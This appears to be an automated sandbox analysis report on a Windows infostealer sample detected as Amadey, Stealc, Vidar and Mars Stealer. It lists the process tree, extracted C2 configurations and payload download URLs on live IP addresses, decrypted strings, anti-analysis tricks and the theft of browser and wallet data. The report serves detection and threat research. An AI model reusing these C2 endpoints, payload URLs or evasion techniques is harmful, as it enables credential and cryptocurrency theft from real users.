Edit tour

Windows Analysis Report
1jPL5zru3u.exe

Overview

General Information

Sample name:	1jPL5zru3u.exe renamed because original name is a hash value
Original sample name:	b3badd1cd2cba4f587bd6737d34d3569.exe
Analysis ID:	1464487
MD5:	b3badd1cd2cba4f587bd6737d34d3569
SHA1:	bc229f10399c3482df1faa98bf7074a4440e82a5
SHA256:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd
Tags:	32exetrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

1jPL5zru3u.exe (PID: 6980 cmdline: "C:\Users\user\Desktop\1jPL5zru3u.exe" MD5: B3BADD1CD2CBA4F587BD6737D34D3569)

cmd.exe (PID: 6180 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CAEHDBAAEC.exe (PID: 928 cmdline: "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe" MD5: 41327F38F138A156BF02E81F5047DC06)

explorti.exe (PID: 7292 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 41327F38F138A156BF02E81F5047DC06)

cmd.exe (PID: 6184 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FHJKKECFIE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 7324 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 41327F38F138A156BF02E81F5047DC06)

explorti.exe (PID: 7768 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 41327F38F138A156BF02E81F5047DC06)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2332547916.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.1921777147.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1924963108.0000000000531000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000D.00000002.2373035840.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1858205526.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.1884034371.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.1962404330.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2898835808.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.1920034287.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 1jPL5zru3u.exe PID: 6980	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 1jPL5zru3u.exe PID: 6980	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1jPL5zru3u.exe PID: 6980	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.CAEHDBAAEC.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.ba0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explorti.exe.ba0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.explorti.exe.ba0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.1jPL5zru3u.exe.cb0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.1jPL5zru3u.exe.cb0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 1 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	06/28/24-22:31:56.070770
SID:	2051831
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.82

Timestamp:	06/28/24-22:32:22.860052
SID:	2856147
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	06/28/24-22:31:55.884324
SID:	2051828
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-22:31:55.885959
SID:	2044246
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-22:31:55.529063
SID:	2044244
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-22:31:54.877218
SID:	2044243
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1jPL5zru3u.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll9	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpsJ0	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe-Disposition:	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exeData	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpi	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 1jPL5zru3u.exe.6980.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.7292.10.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1jPL5zru3u.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: Sleep
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: user32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: sscanf
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: http://85.28.47.4
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: default
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: HeapFree
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: Process32Next
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: Process32First
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: LocalFree
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: FindClose
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: ReadFile
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: WriteFile
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetLastError
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: SelectObject
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: BitBlt
Source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C3D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C3D6C80

Source: 1jPL5zru3u.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49731 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49731 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49731 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49743 -> 77.91.77.82:80

C2 URLs / IPs found in malware configuration
